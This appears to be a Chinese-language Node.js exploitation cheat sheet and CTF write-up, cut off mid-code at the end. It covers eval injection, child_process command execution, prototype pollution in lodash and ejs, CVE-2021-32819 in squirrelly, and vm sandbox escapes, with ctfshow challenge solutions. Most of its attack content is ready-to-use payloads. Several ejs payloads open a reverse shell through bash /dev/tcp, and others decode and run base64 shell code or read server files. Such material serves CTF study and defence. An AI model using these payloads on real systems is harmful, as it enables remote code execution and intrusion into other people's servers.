最近在看NodeJS的漏洞,进行相关总结。以下不对每一条链进行剖析,只给出相关利用方法。如果有错误,还请各位师傅指正。
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。
Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。
json
的APItoUpperCase()是javascript中将小写转换成大写的函数。
但是它还有其他的功能。
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
toLowerCase()是javascript中将大写转换成小写的函数。
同样。
"K".toLowerCase() == 'k'
p神:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
数字与数字字符串比较时,数字型字符串会被强转之后比较。
字符串与字符串比较,比第一个ASCII码。
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
空数组比较为false。
数组之间比较第一个值,如果有字符串取第一个比较。
数组永远比非数值型字符串小。
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
我们可以使用反引号替代括号执行函数,可以用反引号替代单引号双引号,可以在反引号内插入变量。
但是有一点我们需要注意,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${}
时,字符串会被分割。
var yake = "daigua";
console.log(hello ${yake});
var yake = "daigua";
console.log`hello${yake}world`;
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
console.log(typeof(NaN))
输出为number。
SSJI 代码注入是一个存在于 javascript 端的代码注入,存在于运行于服务端的 js 代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用 js 函数执行恶意 js 代码。
javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。
var express = require("express");
var app = express();
app.get('/',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');
这里的参数 a 通过 get 传参的方式传入运行,我们传入参数会被当作代码去执行。
process 的作用是提供当前 node.js 进程信息并对其进行控制。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
- spawn():启动一个子进程来执行命令。spawn (命令,{shell:true})。需要开启命令执行的指令。
- exec():启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
- execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
- fork():与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件
区别:
- spawn()与exec()、execFile()不同的是,后两者创建时可以指定timeout属性,设置超时时间, 一旦创建的进程运行超过设定的时间将会被杀死。
- exec()与execFile()不同的是,exec()适合执行已有的命令,execFile()适合执行文件。
settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。
var express = require("express");
var app = express();
setTimeout(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
setinterval (function,time),该函数的作用是每个两秒执行一次代码。
var express = require("express");
var app = express();
setInterval(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。
var express = require("express");
var app = express();
var aaa=Function("console.log('Hacked')")();
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用
global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
既然我们可以执行函数,那自然可以进行文件的增删改查。
操作函数后面有Sync代表同步方法。
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
建议大家使用异步方法,比起同步,异步方法性能更高,速度更快,而且没有阻塞。
res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());
最有效的措施是避免上述功能,同时全面了解第三方模块的代码库。例如,在上面展示的演示eval()容易受到攻击的场景的代码片段中,可以通过使用JSON.parse()实现同样的目标,同时降低风险。
话虽如此,在某些情况下,不仅可以避免易受攻击的函数,而且还需要将用户输入传递给它。在这些情况下,最好的方法是对输入进行验证和消毒。
可以通过已经标准化的函数或只允许特定字符或特定格式的白名单正则表达式来验证输入。
可以通过转义任何可以由脆弱函数解释的字符来完成消毒。大多数框架都已经有了安全清除用户输入的功能。
node.js 的 sql 注入和 php 这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码。
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result)=>{
if(err){
console.log(err);
res.send(err)
}else{
console.log(result);
res.send(result)
}
})
});
在此之前,可以看看JS的继承与原型链
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
看完JS的继承与原型链,相必已经能猜到原型链污染是什么意思了。简单的说,就是我们控制私有属性(__proto__
)指向的原型对象(prototype),将其的属性产生变更。那么所继承它的对象也会拥有这个属性。
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
Object1和Object2相当于都继承了Object.prototype,所以当我们对一个对象设置foo属性,就造成了原型链污染,倒置Object2也拥有了foo属性。
利用原型链污染,那我们需要设置__proto__
的值,也就是需要找到能够控制数组(对象)的“键名”的操作。最常见的就是merge,clone,copy。
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
需要注意,只有在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
模块的污染各种各样,不能一一给出,只能给出具有代表性的几个。
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template
一个简单的模板引擎lodash.merge
函数或对象的合并其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
lodash.template
显式的lodashs.merge存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。
options的sourceURL
options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
JS当中每个函数都是一个Fuction对象,(function(){}).constructor === Function
var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。
sourceURL传递到了Function函数的第二个参数当中,此处可以
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
以下链不进行分析,给出相应题目和WP。
主要为两个函数的伪造。
opts.outputFunctionName
opts.escapeFunction
test.js
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置
app.set('views', __dirname);
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("./test.ejs",{
message: 'lufei test '
});
});
//设置http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
test.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: 'login success!'});
}else{
return res.json({ret_code: 2, ret_msg: 'login fail!'});
}
});
payload1:覆盖 opts.outputFunctionName
, 这样构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
payload2:伪造 opts.escapeFunction
也可以进行 RCE
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}}
补充: 在 ejs 模板中还有三个可控的参数, 分别为 opts.localsName
和 opts.destructuredLocals
和 opts.filename
, 但是这三个无法构建出合适的污染链。
compileDebug的伪造
给出上面题目的payload,可参考着看。
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"'))"}}
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
CVE-2021-32819
server.js
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
res.render('index.squirrelly', req.query)
})
var server = app.listen(3000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("Listening on http://%s:%s", host, port)
});
index.squirrelly
<!DOCTYPE html>
<html>
<head>
<title>CVE-2021-32819</title>
<h1>Test For CVE-2021-32819</h1>
</head>
<body>
<h1>{{it.variable}}</h1>
</body>
</html>
payload
/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('dir'); //
PS:以下贴出几篇文章,师傅们可以跟进分析:
https://www.aisoutu.com/a/1373814
https://cloud.tencent.com/developer/article/2035888
https://www.freebuf.com/vuls/276112.html
vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。
const vm = require('vm');
// global下定义一个 x 变量
const x = 1;
// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context); // 语境化 {x:2}
// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);
// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17
// global没有被改动
console.log(x); // 1; y is not defined.
当使用vm创建一个context时,不能访问golbal对象,但是我们可以利用对象带有的constructor属性逃逸。
const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);
第一次调constructor得到Object Contrustor,第二次调constructor得到Function Contrustor,就是一个构造函数了。这里构造的函数内的语句为return this.process.env,那么控制process之后就能RCE了。
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);
var handler = {
get () {
console.log("get");
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(t, k){
console.log("has");
}
proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的w
"use strict";
var process;
Object.prototype.has = function (t, k) {
process = t.constructor("return process")();
};
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()
关于vm2的逃逸这里不过多赘述,师傅们可以自行参考。
https://www.anquanke.com/post/id/207283
https://www.anquanke.com/post/id/207291
https://blog.csdn.net/anwen12/article/details/120445707
题目来源于ctfhsow-web-334。
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
发现name!=='CTFSHOW' && item.username === name.toUpperCase()
,上面有说过转大写时ſ =>> S
这里直接用ctfſhow 123456登录就可以出flag了。
题目来源于ctfhsow-web-335。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFFSHOW</title>
<script type="text/javascript" src="/javascripts/jquery.js"></script>
</head>
<body>
where is flag?
<!-- /?eval= -->
</body>
</html>
直接利用eval读取目录文件。
/?eval=res.end(require('fs').readdirSync('.').toString())
/?eval=res.end(require('fs').readFileSync('./fl00g.txt').toString());
或者
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
题目来源于ctfhsow-web-337。
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
为了突出特性,不利用/?a[]=1&b=1
。
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
我们发现一个对象与字符串相加,输出不会有对象内容。
/?a[x]=1&b[x]=2
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
8c,2c,逗号都被过滤了。urlencode(",") = %2c
发现 2c
也被过滤。
上面有说过:nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
直接构造同名参数,绕过逗号,这里把 c进行url编码,是因为 双引号 的url编码是 %22
,和 c
连接起来就是 %22c
,会匹配到正则表达式。
```
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = ['123ewqrqwwq']
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
//let feng=str.replace(/(?:Math(?:.\w+)?)|[()+-/&|^%<>=,?:]|(?:\d+.?\d(?:e\d+)?)| /g, '')
//console.log(replace: ${feng}
)
if (str.replace(/(?:Math(?:.\w+)?)|[()+-/&|^%<>=,?:]|(?:\d+.?\d(?:e\d+)?)| /g, '')) {
return null;
}
//console.log(the code will be executed is : ${str}
)
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('
'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给